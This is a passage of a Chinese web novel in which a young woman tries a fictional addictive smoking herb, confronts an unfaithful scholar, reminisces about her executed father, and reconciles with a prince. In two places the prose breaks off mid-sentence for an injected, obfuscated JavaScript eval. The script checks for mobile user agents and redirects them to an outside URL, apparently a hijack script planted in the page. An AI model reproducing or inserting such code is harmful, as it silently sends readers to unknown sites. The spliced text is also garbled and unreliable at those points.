她打量大爷,想着需不需要给一点银子或者买点什么。那大爷也看到她,朝她笑了一笑并招了招手,露出一口牙肉腐烂浑浊得像一锅粥。 她被这口牙齿惊得脚步后撤,犹豫一番,还是走近了两步,让大爷知道她看到了他的招呼,但仍警惕地隔着数步距离。 “小妹啊,要不要这个?好东西!”大爷笑着,话语从烂牙间嘻出来,拿着摊位上的一包东西扬手给她看,眼神里真有点亮相珍宝的意思。 “那是什么?”她问,一开口发觉自己声音有点刺哑难听。 大爷又笑了笑,身子前倾,压低了声音悄悄告诉她,“绿鸦膏!”发音时嘟起的嘴唇一瞬遮住了烂牙,仿佛怕被旁人偷听到就会立刻来抢他一般,声音虽压得低,但那动作和眼里的精光却是恨不得别人不知道他手里的是什么。 金絮倒是一愣,登时知道了这大爷为何会是这副模样,她转身想走,余光却注意到大爷还是一手端着那包东西姿势不变地看着她,双脚不由自主地疑虑,转身的动作变慢。 大爷眼中精光更甚,将东西空举着,另只手拿出了一支烟斗,一块做隔空递给她的姿势,“来啊,妹儿啊,你会喜欢的!” 她抱臂的手指紧了紧,举步走过去,大爷跟着献殷勤似地打开布包,里面是一堆大小不一的草片,微绿,闻不到气味。 绿鸦膏,虽名膏,实际是形状类似茶叶的细碎干草,点燃可吸食,微量入药有镇痛疗效,易上瘾。 金絮抬眸犹疑地看向大爷,大爷十分积极地替她将几片草叶装进烟斗中,点燃,递给她,不断用手催促,“要吸!吸!” 大爷的嘴巴似是很难让他说长话,他说着,还拿出另一个燃着的烟斗,自己吸了一口,胸膛一鼓,然后吐出白烟,胸膛塌下去。给她做了示范,大爷诱导地看着她。 金絮接了烟斗打量,绿鸦膏要吸了一口之后才会彻底点燃,此时也闻不出什么气味,反倒是大爷吐出来的白烟里有一股说不出是什么味道的香气。 她对准了烟嘴,准备吸一口试试。 这时,耳边听见一道细微的破空声,继而一个不知什么东西击中烟斗头,她还未反应过来,手臂已被打得弹开,烟嘴远离了她,可烟斗还紧紧攥在她指尖。 击中烟斗的东西掉在地上,跳了两下,发出脆响,是一枚石子。 她愣愣看向击来石子的方向,所见是一片天空,什么人都没有。 “十三?” 她脚步侧了一下,却没走开,良久无人应她。 金絮低头观察烟斗,烟斗头侧面被击得浅浅凹陷下去,避开了她的手指,但她握斗的手指还是被震得发麻。 大爷骂骂咧咧,嘴里说着某个方言,似是心疼自己的烟斗被糟蹋了。 金絮付了银子,收下烟斗和那包绿鸦膏。大爷眉开眼笑,“下次再来!再来!” 她再去药铺,买了治腰伤的药。回到家,将绿鸦膏随处一撂,没再理。 66. 柔竹 今日太阳不大,风烈。 她到院子里扫雪,正好遇上驿站送信的差使。差使确认她的姓名,给了她一封加急的信件。 她还没收过加急的信,见封是火蓉寄来的,摸着似乎还挺厚。 她回屋关门拆信,有好几张,粗略阅过一遍后心下骤变凝重,赶紧从头读过。 这信是火蓉私下寄过来的,只用了两天,没有别人知道。而火蓉偷偷寄这封信是为了告诉她,这几个月里柔竹和徐礼之间的矛盾已经到了崩裂的地步。 金絮知道,自从去年凝荷和火蓉走后,她们俩帮着柔竹在太南开了一间馄饨铺子,原本是打算先去大占县安葬水夭的骨灰,但是馄饨铺子刚起步时柔竹和徐礼两人忙不过来,她们便先留下帮着柔竹照顾生意,等聘了帮手、生意稳定下来后再走。 结果,生意是稳定了,柔竹和徐礼之间却不知为何爆发了矛盾,大吵一架。之后两人冷战了近两个月,期间一句话没说过,徐礼更是家都不常回。让火蓉和凝荷两人左右为难。 少了徐礼,她俩越发走不开,柔竹一人当家更是不行,火蓉便想从中调和,缓解两人矛盾。年底时,火蓉无意发现徐礼身边多了个女人,那女人长相平常,只是看起来稍显富贵。火蓉疑心,便跟踪了徐礼,随即撞破了徐礼和这女人的私会。原来这对狗男女背着柔竹许定了终身! 火蓉气愤难当,把这对狗男女的事情告诉了柔竹和凝荷,柔竹居然没说什么,反倒是凝荷冲到那女人的家里大骂,把所有人的脸皮撕破,女子的家人都惊动了。这时才知道这女人居然是郡太守的孙女,年后才及笈。徐礼他居然想攀高枝!那女人此前根本没发现徐礼是有主的! 徐礼见势不对,反咬一口,说他和柔竹早分了,指责是柔竹纠缠不休。结果,郡守一家为了照顾女儿脸面,压下此事,还在私底下偷偷给了柔竹一笔钱,希望这事就这样翻过去,柔竹没收银子但和徐礼彻底闹掰。然而徐礼跟那女人竟然没分!且徐礼就要上京做官了!那柳大人居然愿意接受徐礼做上门女婿! 柔竹什么话都没说,哭了一回后照常开门做生意。火蓉简直快被气死了,信里言辞激烈地跟她控诉: “徐礼根本没有和柔竹分了,他两头瞒着!他是想万一郡守一家不接纳他,他还能回过头去哄柔竹,让柔竹还养着他!这人简直无耻之尤!” 金絮看完了信,回想起在太南那晚听见的徐礼和柔竹的吵架,那时他们之间的关系就已经恶劣,矛盾想必早在更久之前就累积起来了。 她写了回信,安抚火蓉情绪,询问柔竹目前情况。她猜测徐礼是为了做官才傍上太守孙女,只是不明白太守为何还会同意让自己孙女跟着徐礼。 她将信也加急寄去,估算太南来的车队应当是从华德门入京,她守在华德门前等了两天,终于等来了徐礼。 偷听到车夫上前交纳路引时上报的名号,路引上写着的是太南郡守府,守门侍卫便放行。金絮看不见车里的人,于是偷偷尾随。 车停驿馆前,金絮看见了徐礼,和他带着的一名仆从外,再无旁人或长辈。 他们进入驿馆后,金絮等了一会儿才跟进去,正好看见徐礼走入了哪间房中。 金絮直接过去敲门。 徐礼打开门的一瞬间,金絮照他脸甩了一巴掌。 清脆的响声不断地往她脑子里撞。 徐礼被打得脸歪过去,转头一看见是她,先是愣住了,然后怒气炸开,“你干什么!” 他脸上赫然一道红手印,金絮笑了笑,道:“牙口这么不好?非要吃软饭?” 徐礼神情骤变,她紧道:“你对柳小姐做了什么?又置柔竹于何地?” 不等他开口,金絮又说:“我和柔竹养了你几年,你就是这么回报的?你不怕你娘泉下有知?” 他脸色慢慢变得通红,整张脸变成一个颜色,一把抓住她扯进房中,将她用力往里一甩,关上了门。 金絮手臂被扯得生疼,还是问:“那柳姑娘知不知道你是在利用她?” 徐礼冷漠地看着她,“我和嫣儿是真心相爱。” “真心?你的真心就是让她跟你一个一无所有还喜欢吃软饭的男人在一起?” “她没有!”徐礼吼道:“是柳大人把她托付给我的!” 金絮嗤笑,“然后呢?等你的嫣儿无法再帮到你,你是不是又会抛弃她,像抛弃柔竹那样?你一辈子就只能依靠女人?” “小的时候靠你娘,长大了靠我和柔竹,现在又依靠个年纪比你小那么多的,你可真有能耐。” 徐礼被激怒,扬起手打她,边打边喊:“闭嘴!” 金絮被打倒在地,后背撞在榻边,嘲笑道:“你真的很能耐,还会打女人。” “那你要我怎么办?!”徐礼压抑着怒火朝她吼:“我出身寒门,无人支持我,我根本没有立足之地!还有个做鸨母的娘!” 金絮全不顾他的激愤,冷道:“之前你有啊,安分王的支持还不够吗?” 徐礼眦裂的神情一愣,气势霎收。 “可你把握住这个机会了吗?你又是怎么回报安分王对你的提拔?知遇之恩在你眼里又算什么?” 他变得震惊。金絮可笑地看着他。 震惊之后,徐礼眼神闪烁起来,仍不可思议,“我不知道......” “你不知道?你在郡府做个属官的时候不是总和身边的同僚炫耀吗?你总说你身后有个大靠山吧?”金絮咄咄道:“你有个同僚在你下狱后找上门,他还以为是我在喂软饭给你吃!” 徐礼怔神着哑口无言。 她步步紧逼,“安分王为你捐官,不惜挡了别人的路,你是不是还沾沾自喜?在郡府里还总喜欢把这事挂在嘴上?你有什么可耀武扬威的!” “你做不到大官,你凭你自己甚至无法在官场立足。”她站起来,“柔竹已经放弃你了,你和这小姑娘要怎样我也不管,往后别再出现在我和柔竹面前。” 她说完,掀门出去,再不看徐娘的儿子。 柳大人没让孙女跟徐礼断干净,还愿意安排徐礼入京做官,可能两人已经煮成熟饭了。柳大人或许是想培养徐礼,将他培养成配得上自己女儿的人才。她推测,柳大人这会应当在想着该怎么从太南调回京城做九卿。 离开驿馆,金絮径直回家。坐在房中,想到柔竹,想到柔竹初五时给她寄的那封回信,信里只字未提徐礼,一时心情难以平复。 这也要怪她,最初就不应该让柔竹和徐礼两人住在太南,孤男寡女,本就容易产生让双方都会错意的感情。 这时想起了上次买的绿鸦膏,放着还没处理。她翻找出来,布裹着的草片无丝毫变化,烟斗上那个凹痕还在。 不知会是什么味道。 她有点好奇,捻起一片草叶观察,指腹沾上了一点粉末,干干的没有气味。 她拨拢几片填装烟斗,点燃,对着烟嘴尝试吸了一点。细细的烟气流入齿间时突然想起卖她绿鸦膏那个大爷满嘴的烂牙肉,那画面还未仔细现出,唇舌漫开缕缕甘甜,打断了她的思绪。 很是奇异的甜味,比瓜果还清新,她没忍住咽下去,那股甘甜又从鼻腔呼出。 她不由自主去想甘甜之后会是什么味道,心口就传来一阵悸动,全身的骨头都被这阵悸动按揉抚慰得变软了,脑海里闪过一片白光,白光里好像有什么画面,看不清楚,她只感到了欢愉。 她轻轻笑出了声,浑身没有力气,轻飘飘的,她趴到桌案上,感觉自己回到了小时候。她在顾府马场的草坪上躺着,微风哄她安睡,晴朗的天空白云是她的被子,身下草地柔软清香,这是一种最舒适的感觉。 沉浸在这种感受中,金絮睡了过去。 醒来时意识仿佛在水中昏昏沉沉,从头顶到脚尖都还残留着一点愉悦,手指都不想动。她还想继续睡,那点欢欣却慢慢流逝,令她不得不睁开眼,摸索着不知烟斗在哪。 她彻底睁开眼,发觉自己是躺着的,意识渐渐清醒,理智占据了主导,想起来睡之前她是趴着的。 金絮坐起身,她睡在卧房的床榻上,身边已经不见绿鸦膏,她咽了咽嗓子,木 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金絮筷尖一顿,嘴里的饭菜顿时索然无味,好像做了什么亏心事被发现一般,她心虚地垂着头,但转念一想,她和林童忆又不是什么很熟的关系,她即便是抽绿鸦膏抽死了林童忆也没立场说什么。于是她慢慢点了头,“嗯。” 他道:“我帮你收起来了,不要碰那些东西。” 金絮又愣住,饭菜的味道变得难以言喻,在她喉咙里顺溜滑下,她仍是拖长了慢慢道:“嗯——” 金絮摸摸后脑勺,有些不好意思地一笑,“那感觉,还真挺不错的。” “我知道。”他意味不明地扯嘴角,“讨人喜欢又让人戒不掉,绿鸦膏当然不错,不然也不会被禁了。” 林童忆的语气和神色都很沉静,甚至有些沉重,她听出不对,不解地问:“怎么了?” 林童忆却忽地笑了,“我父亲当年就是抽绿鸦膏抽得耗尽家财,母亲忍无可忍,丢下这个家离开了。” 他认真地瞧着她,像是想在她身上抓住什么,“你不要碰这些东西。” 他之前说林布被整垮时也是这副模样,金絮仔细看他表情中的一眉一眼,乖顺道:“嗯,我不碰了。” 得到她的保证,林童忆眼神一松,笑了,“绿鸦膏只能用来治病。” 她吃完了饭,林童忆收拾食盒,金絮泡了壶茶,点好炭火,问他:“你还没说你今日来找我是为了什么事呢。” “没什么事,就想来看看你,一个人过年总归寂寞。” 这话说得不知道是在说他自己还是金絮。她看了林童忆一眼,没说什么,给他斟上茶。 她翻拣出剩余的瓜子,用个瓷碟盛着,勉强算个招待,同他歉道:“我没备太多年货,就剩了点瓜子,你先将就着,下次我请你去如意酒楼。” “不要紧。”他笑道:“我今年还没上门给人拜过年呢,你是第一个。新年吉祥。” “你也是第一个。新年吉祥。”她也笑,“我本来还以为今年不会有人来我这串门的。你最近怎么样?在光禄勋过得还好吧?” “还好。”林童忆若有所思地看着她,搁下茶盏,“光禄大夫被人弹劾了。” “怎么了?” “不清楚,只知道好像光禄勋很多人都被弹劾了。大家都说,我们这种底下人被参都是那些大人物为了弹劾另一个大人物拿来凑数的,就想着把罪名加大些。”他道:“好像这次弹劾光禄大夫的人是冯棹台。” “冯棹台?” “嗯,因为这件事,偷偷议论这位冯御史的人多了,我便打听到,冯御史每隔一段时间都会出城去郊外某个地方,听说是去祭拜什么人。” 金絮一听就想起了雪姬,便问:“在哪个地方?” 林童忆摇头,“我也不是很清楚,应当是郊外某个墓地,具体日子也不知道,只是听说冯御史经常出城。” “原来如此。”金絮表示了然,不再多问。 67. 丞相之位 炉中炭火烧得正旺,窗外有雪落下的声音,无风。 林童忆开窗,拭去落在窗台的雪花,雪水融在他指间,他道:“离宵禁还早,不如你同我说说你父亲的事情。” “我父亲?” “嗯。听说,金丞相是本朝历史上最年轻的丞相?出任时只有三十岁?” 提起自己父亲,金絮脸上笑容深刻起来,“是啊,不光是最年轻的丞相,父亲他还是出仕那年太学考试甲等第一名。” 她笑着边忆边道:“父亲年少成名,诵读诗书,入仕未满五年便成为了御史中丞,位极丞相后改革太学、优化税法、简化三役。你知道吗,《赋法三戒》就是父亲写的。” 林童忆闻言摇头,“没有看过。” “现在肯定看不到了,因为昏君登基被多久就将这书禁了。这篇文章啊,以前看时还看不懂,是自己交过税之后才看懂了。”后来她想再找来看看,但是找不到了,她知道的只有梁风府中藏着一本,那年她在他府里偷偷将那书背下来,然后替梁风烧了。 林童忆静静听她说,“后来呢?” “后来——后来,昏君罔顾人伦,弑兄夺位了。昏君......当今圣上登基后,想将外朝大权悉数掌握在自己手中,而父亲成了他最大的阻力,因为连同父亲在内的整个丞相府都反对内朝过度干涉外朝。我不清楚内情,这些事情父亲也不愿同我多说。那些年中原各地内乱无数,起义军四起,父亲只希望保得我们一家平安。 “是当时的御史大夫、现在的丞相游照同联合昏君打倒了我父亲。游照同上台后彻底废除新税法,在朝中站稳了脚跟。如今的朝堂局势,外朝势力大弱就是因为游照同导致的。” 林童忆认同道:“我听人说过一些金丞相的事迹。据说,金丞相的新税法危害到了当时在朝的皇亲贵戚,减免的粮税要由大臣世家填补才是症结。只是内朝拥权不知是好是坏。” “我也不知道,但父亲觉得不好。我小时候一意支持父亲,直到如今长大后回想,父亲认为内朝掌权不好也是因为他是外朝最大的权臣吧,内朝掌权后也会危害到他的地位。” 金絮看着窗外细雪幽幽道:“游照同联合各御史上书弹劾我父亲假公济私、勾结外敌、泄露军情、贪没黄金数十万两,游照同的行为得到皇帝默认,我一家就被诛了。” 当时南方越国叛变,造反军直逼太南,她的两位兄长正在军中。京城丞相府传信让她们母女避难的消息晚了一步,母亲在太南得信紧急逃离时乱军的刀尖已近至身侧。抵达京城也没安稳多久,母亲接到诛九族的旨令在她面前自尽,追随父亲而去,梁风趁乱救了她,而她两位兄长死在了军营里。 那昏君以下犯上夺得皇位,做了个十分恶劣的表率,各地山匪农民纷纷效仿,认为自己也可以称帝。那年民众口口相传中说的最多的一句话就是:皇帝谁都做得,农民怎么做不得? 昏君愈发不安,下令安分王带兵镇压,用了几年时间,梁风才完全收拢中原地区所有匪患。 “你说我父亲冤吗?”她问。 林童忆闻言没说话,凝重幽深地看着她。 她笑了一下,“冤的,他当然是冤的,父亲怎可能勾结外敌、泄露军情,怎可能是个卖国贼。只是......” 她微顿,觉得窗外雪光有些刺目,“只是,父亲还是个御史大夫时,为了夺得丞相之位,也用了真真假假的罪名除掉了当时在位的丞相,后起之秀只是用同样的方法除掉了他。” 她笑得讽刺,“小时候父亲常跟我说‘丞相年年换,今年到我家’,以前不懂,后来深以为然。这就是权力啊。” 她说完,屋外积雪压断了树枝。 “朝堂之上,没有人是对的。”她道。 “母亲曾跟我说,父亲年轻时也希望自己能为生民立命,为万世开太平,希望自己两袖清风,希望自己堂堂正正站在史书中的阳光之下,可当他真正坐到高位,才发现在权力斗争中,权力本身都身不由己,何况是人。” 她低头看着茶水,指尖轻旋杯盏,泡了茶叶的水已经不清澈了,即便再添新水,也无法彻底干净,只能倒掉,换一杯水,并且不再放茶叶。 游照同弹劾父亲的数条罪状中,最触怒皇帝的是勾结外敌一条,而这条是诬陷的,但其他罪状她却不能保证父亲完全没有做过。 因为娘亲不喜京城世卿之间的敷衍往来,喜欢过肆意潇洒的日子,于是父亲让娘亲带着她这个最小的女儿独自在太南生活,而他自己偶尔才会南下看望她们母女。但是在她的童年印象中却从不觉得父亲缺席,因为那几年里每天都能收到父亲给她寄来的各种大小东西和书信,还在信里指导她功课,甚至是京城时兴的小玩意儿,父亲每看见了都会立即给她寄来。 可是官路寄信到底没那么方便,父亲不知用了什么理由特别开通了一条信路,专门用来通传京城丞相府与太南顾府之间的寄件,最快的时候,清晨的信件当日正午时就能送达。 这速度,被很多文人史官写进了文章里,有的赞颂,有的痛恨。赞颂的人说这是金子与天朝威严铺成的路,痛恨的人说是人血与马血喂养的路。 小时候她很为这条专为她和母亲开辟的驿路感到骄傲,是直到后来梁风告诉她,她才得知为了维持这条路耗费了多少人的心血。 到如今,这条驿路还未被完全废弃,由私用改为官用,仍是传递信件,速度虽然没有那么快,但耗费的人力物力也没那么狠了。火蓉寄来的加急信件能在两天送抵就是托这条路的福。 这就是假公济私。她长大了,不会盲目维护父亲了。但是,她不知父亲有没有贪污过银两。父亲已位极人臣,每月各路人等奉承讨好送的礼都能抵丞相一年的俸禄,完全没必要另贪黄金,况且,每年赈灾,国库空虚时父亲还会从府里调拨银款。 “那......你是想......”林童忆看着她,欲言又止。 陈年往事说出来,金絮心情好了一点,便问道:“什么?” “没什么。”他眉头不解地摇摇头,笑道:“我自己很是崇拜金丞相。” “真的?”她有些欣喜。 “嗯。金丞相的政绩已是许多人难望其项背。” 这句话她十分认同,可是笑着笑着,笑容还是消下去了。 “你现在跟旁人还是要少说些有关我父亲的事情,以免引火上身。” “我晓得。” 炭火渐轻,她蹲身用长铁夹拨拉几下,火星炸开。 “朝廷不干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839802|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我希望出现能让它干净的人。”金絮停下手中动作,扭头注视他,“这个人是你吗?” “不是。”他答得相当干脆,再问:“你觉得是安分王吗?” 金絮收回视线,想都没想道:“他不行。” “为什么?” “安分王太过优柔寡断。” 林童忆默了一瞬,才道:“是么?我倒是觉得安分王前些年交出兵权时果断得很。” 想起那年,金絮无奈一笑,“就是因为这件事,他才优柔寡断。” 林童忆没言语了。金絮夹入几颗新炭,续上茶水,看着差不多到晚饭时辰了,便问:“留下吃饭么?我这还能开锅。” “方便吗?”林童忆客气问。 她脑子里过了一番厨房的囤货,零嘴是没有的,待客的糕点也没有,好在食材还算新鲜,做一桌饭不成问题,只是她的厨艺...... “简单点的小菜我能做......这样,煮饺子吧,刚好有肉馅和饺子皮,包一下就行了,你坐着等一会儿。” 说完,她独自去到厨房,拿出皮馅,净手开包。包了几个,感觉周围有些静,下意识回顾,就见林童忆在外挨着门框站定,静静看着她。 一眼望见他的眼神,金絮嘴角顿了一下,既而拉开一个笑,道:“你在堂屋等一会儿吧,煮好了我给你端去,你别进来了。” 林童忆微作犹豫,又看她眼,颔首离开了。 金絮继续包煮,手脚不快不慢。终于做好两碗端出去,林童忆正坐在饭席客位出神地看着她的方向,看见她的一刻登时回神,笑着起身相迎,接过她手中的两碗饺子,道:“今日有幸,品尝你的手艺。” 他边说边垂眸碗中,热气氤氲他的双眼,眼里的期待被染得更为复杂。 金絮将他的神情看在眼里,笑得有些夸张,“我的手艺可算不上是品尝了。这个、这个是南市最北一家铺子的肉馅,我也是挑近买的。我随意买的。” 林童忆且听着,舀起一个饺子吃下,似乎觉得味道不错,眉目浮出淡淡笑意,继续吃。 她脸上的笑慢慢敛小,热乎的饺子下腹压尽了绿鸦膏在身体里残留的最后一点舒慰,她被转移的注意力却突然想起上次跟梁风一起包的饺皮过硬的饺子。 察觉到自己思绪,她愣了一下,半个饺子喂进口中的动作堪在嘴边停住,只停了一瞬,她立刻吃下,清空思绪,不动声色地看了林童忆一眼,希望他没发现自己异样,随即又斥责自己心虚什么。 她干笑着问:“味道还行么?不好吃的话,我便再不去买那家的肉馅了。” “很好吃。”他视线没有从碗里移开。 金絮揣摩他的神情,试着问:“上次去林公子住处,听说家里没有厨房,不知林公子平日三餐如何?” “平时随便吃点解决了就行。我娘走后就没人再给我做过饭了,我自己也不想做。” “啊,这样啊。”金絮收了笑,不知味地吃完了一碗饺子。 用过晚饭后,再无旁事可叙,林童忆便在宵禁前返家,金絮送他出门,目送他消失在街道尽头。 也不知林童忆心里会拿这碗饺子当成什么。 她忽然感觉林童忆这人应不像王殊那般好打发了。 68. 求救 这个冬天剩下的日子她还是一个人过。 偶尔独自出门买食蔬,街上残留着年节余味和爆竹残渣,走一趟,鞋底湿了一圈。 她抱着麻袋回家,袋里装了数个土豆和鸡蛋,手指勾着一大包糙米,深一脚浅一脚地行走,心里盘算入冬后花费的银钱。 早在去年年底,米粮油盐的价格已经因为冬季粮食匮乏而高得离谱,昨日粮价还是百钱一石,今日就百二十钱了。她在入冬前囤的食物派出去了许多,朝廷也一直没有放粮出来,如果不是实在缺粮,她都不愿意在这个时候新买。 下一个冬天她绝不在京城过。 走过前面的街角就是家门口,她调整抱袋姿势,摸索怀中锁匙,一抬头,看见家门口站着两个男人。 黑色大氅在雪光中异常刺目。 十三常服打扮站在他身后。 他背对着她,不知此时是用的什么表情看着她家大门,手指正一下一下抠着她的门锁...... 金絮还没摸出锁匙,愣在原地不知所措,就见他转了身,一眼看见自己。 梁风脸上戴着面具,手指勾着门锁,眼神勾着她。 她不知该如何反应,梁风突然道:“你再晚些回来,我就翻墙进去了。” 私闯民宅?金絮默不作声,走过去,隔他两步正要行礼,梁风一把上前抓住她的手臂,道:“不许行礼。” 她这几日饭没吃好,浑身上下没什么力气,被他扯住就抽不回来了,金絮抱紧麻袋,抬头看他,问:“还来找我干什么?” 他似乎也没睡好,眼底有些憔悴。梁风避开与她对视,盯着门锁,小声道:“消了气,我就来找你了......” 金絮忽然感觉全身很累,梁风呼出的气息若有似无拂在她眼上,一下抽去双眼的力气,眼皮往下一掉,她立刻惊醒,恍惚发现自己刚才一瞬竟然差点睡着了。 梁风松开抓她的手,往上抚着她的眉眼,轻问:“你不想见我么?” 金絮偏头躲开他的手,摇了摇头,在他注视下拿出钥匙开门,单手差点没抱稳麻袋,她手软,抱麻袋的手臂在哆嗦。 开了门,金絮走进去,紧跟着把梁风关在门外。 她再走近屋内去,也关上门,坐到榻边。她就是感觉很累,累得脊骨支撑不住上身的重量,她弯下腰,胸腹贴住麻袋,下巴压着袋边,额头抵触膝盖,侧脸看着被她紧闭的屋门。 看了不知多久,好像没多久,屋门突然被敲响。 她浑身一激灵,唰地站起,麻袋掉在了地上,袋里数颗土豆轱辘滚出来。 她跨过土豆,拉开屋门,门外是十三。 十三弯腰双手递给她一张折起来的纸。纸背看得出书写的痕迹。 她接过,展开一看,上面写着:“你是不是在向我求救?” 底部署名是叶青。 她抬头往大门处看,竟见梁风直直站在她的墙头, 梁风见她看过去,与她视线一触,然后转身,跳落到屋外。 金絮面无表情,捏着纸,大跨步往大门走。 利落开锁,梁风正面对着她,金絮把纸往他身上一扔,道:“不是。”声音几乎没有起伏,说完不等他反应再次关上门。 金絮回头瞪了十三一眼,十三立刻垂下脑袋,飞身离开她的院子。 她回屋,给门上闩。 闩完她又不动了,手指都放在门栓上,她定定地看着,神思再次恍惚了一瞬。 她把掉在地上的土豆捡起来,发现袋里没滚出来的鸡蛋碎了。五个鸡蛋,碎了三个。 蛋黄都碎了,黄橙两色融在一起,浸湿了麻袋一角,蛋液渗出袋隙涂抹在地上。 “傻子。”她打了自己一巴掌。 心底一口气叹出,金絮靠着榻边睡着了。 睡得很结实。直到被一阵街鼓吵醒。 她猛地睁眼,屋里一片漆黑。脑子异常迟滞,她思索片刻才意识到自己在做什么,揉着半边麻掉的肩颈站起来,拉开屋门。 今日星星很好,邻里很寂静。 她一步步走到大门,拉开,果然见梁风蹲坐在她门外,完全没有避让宵禁的意思。 梁风回头,扬起脸看她。 “宵禁了。”她提醒。 梁风不说话,直起身握住她的手腕。一言不发的固执自他掌心传来。 金絮默默无言地和他对峙。夜色太深,也没烛火,看不清他的神情。细微星光映入他眼底,她忘了加衣,化雪的气温冷得透骨,但放在她身上的视线却暖呼呼的。 他手掌滑下,包裹她快要冻得像鸡爪一样的手指。金絮心里忽然一股强烈的无力席卷上来,左肩冻得不受控抽搐,梁风跨前张开双臂抱住她。金絮任他动作,也不回应,梁风越抱越紧,低声在她耳边道:“要冻一起冻。” 温热的气息吹化她的耳朵,又刺又痒,另只耳朵已经清晰听见城防军整齐行进的脚步声。 她把梁风往院里一带,无声地关上了门。本想顺势脱开他的怀抱,梁风却把大氅像拢翅那般将她裹住,金絮被他圈在了温暖里面。 金絮无奈一叹,道:“不冻了。” 梁风闻言,便将双臂松了松。金絮抓住他的手腕,牵着他进屋。 屋里没点蜡烛,她便先将门敞着,借雪光找出蜡烛,边点边道:“蜡烛不多。”只有四支,点好她便将门关了,严寒挡在屋外。 她再将蜡烛散在屋内四角,梁风打量着屋子里的布置,金絮道:“虽然天冷,但我晚上一般不点炭火,便宜炭烟大,需要开窗,开窗反而更冷了。” 梁风双眼落到她脸上,轻轻颔首。 然后她不知道该怎么办了,直愣愣站着与他一起沉默。 直到饥饿袭来,金絮不言语地去厨房,拿出鸡蛋面条和蔬菜,折柴点火热锅。 她不知道锅怎样算热到位了,便等着,锅里冒起青烟才倒油,然后朝后头站着的人道:“我这油你可能吃不惯。” 青烟越来越大,油也热了,她拿个鸡蛋顺手在灶台上一敲,准备开蛋。梁风忽然快步走近,从身后环腰抱住她,贴着她发侧说:“你对我做什么都可以。” 她手一抖,蛋壳全裂,蛋液高空砸进油里,喷射一般的油点子炸开,金絮一吓,本能往后躲,脑袋明显感觉靠到了他的下巴。 梁风比她更快地抓她的双手,“被溅到了没有?烫不烫?”说罢舀一勺旁边缸里冰凉的清水给她冲洗。 金絮冻得缩手,皱眉道:“我没被溅到,你被贱到了。” “我没有被溅到,你看。”他一边冲水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839803|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一边给她看他自己的手背,确实没有红点子。 金絮独自无语,冲好冰水后,将那蛋翻一面,还好,没糊。 她拍拍腰间的手,“放开。” “不放。”他更抱紧了些。 “放开,我煮面。” “不放。” 金絮顿时火了,情绪比油温还高,“你贱不贱啊?做什么都可以?你狠得下心学皇帝那样去造反吗?你狠得下心去杀你皇兄吗?你做得到给大周百姓安稳吗?” 梁风不说话,胸膛的起伏却一下一下撞着她后背。 金絮再将鸡蛋翻一下,这次糊了,她舀勺清水倒进去,滋滋啦啦的爆响之后,锅里反而镇定下来。 她深深呼吸,道:“你不喜欢别人利用你,为什么要这么跟我说?” 梁风脸颊紧紧贴住她的发侧肩颈,低声道:“这样做,还能求到点什么,不这样做,什么都没有。” 如果不是贴得近,都快听不见了。梁风问她:“你觉得我很贱?” 尾音带起她心脏一阵颤抖,颤得产生尖锐的疼痛,疼痛很快袭遍全身,她掌心覆上腰间筋骨突出的手背,“我没有觉得你很贱,贱的是想利用你的人。” 两滴眼泪掉在她肩膀,梁风全身抑制地泄出痛苦,金絮摸摸他的额头,细声哄着:“你别哭。” “我不贱,等我准备好,我带你走。”梁风抽着气说:“我更在乎你。” 她手掌轻轻抚着他的脑袋,“我相信你,可是能去哪里?” “哪都行。你要等我,你说过你会一直陪着我。” 水开了,金絮下面条。 “答应我。”梁风捏捏她的腰。 金絮怒了,“你有底气了?松开。” 梁风慢慢松手,小心翼翼打量她的脸色。金絮搅了搅锅底,同他道:“都怪你影响我,蛋只煎了一个。” 梁风立刻绽脸笑,又抱过来,“那我们一人一半。” 金絮瞪他眼,往锅里撒点葱盐和调料,香气霎时散开。 “去旁边坐着。”她推开他。 梁风用袖子抹脸,坐到榻边。 面条还没那么快,金絮洗了块干净的面巾递给他,梁风没接,把脸送上。金絮皱眉,但还是替他把脸擦了。 她从柜子里拿两个碗,捞出整蛋放一个碗里,汤底被煎蛋煮得有些泛白。 金絮忽然看了眼梁风,见他正巡视榻上的案桌,食指按在桌面一角,指腹沾了点点绿色粉末,他把指尖放在鼻端嗅了嗅,然后搓去。 金絮顿住,继而挪开眼,无所谓,她也有底气。 汤面沸腾的泡沫浮起来,金絮抬手摸了摸脸,然后熄火分面。 金絮把面放到他面前,然后递上筷子,梁风翻出被面条压住的鸡蛋,用筷子分成两半,一半夹给她,说道:“在府里喂你吃那么多,好不容易养胖点,这几个月又瘦回去了。” 这人底气足了。金絮看他一眼,凉凉道:“王府饭食味道好很多。” 梁风笑了,殷殷看着她,“那你再搬回去么?” “不搬。” 他垂下头,没说什么,继续吃面。 金絮边吃边想,宵禁只到卯时,天不亮他就可以回去。 一根短蜡烛燃尽熄灭,屋内暗了一角。 69. 冯棹台(一 ) 梁风没让她想太多,道:“我去屋外守一夜,你好好睡。” “不行。”她想都没想就说。 “不要紧的,一个晚上而已。” “不行,我做不到。” 梁风眼睛在她脸上转了几圈,及时地沉默了。 吃完面,金絮收拾好碗筷,去卧房将被榻换新,铺了她仅有的一床丝绸,好在房里几乎没有女儿家的东西,收进柜子里也就好了。 “你就睡这。”她道。 “那你呢?” 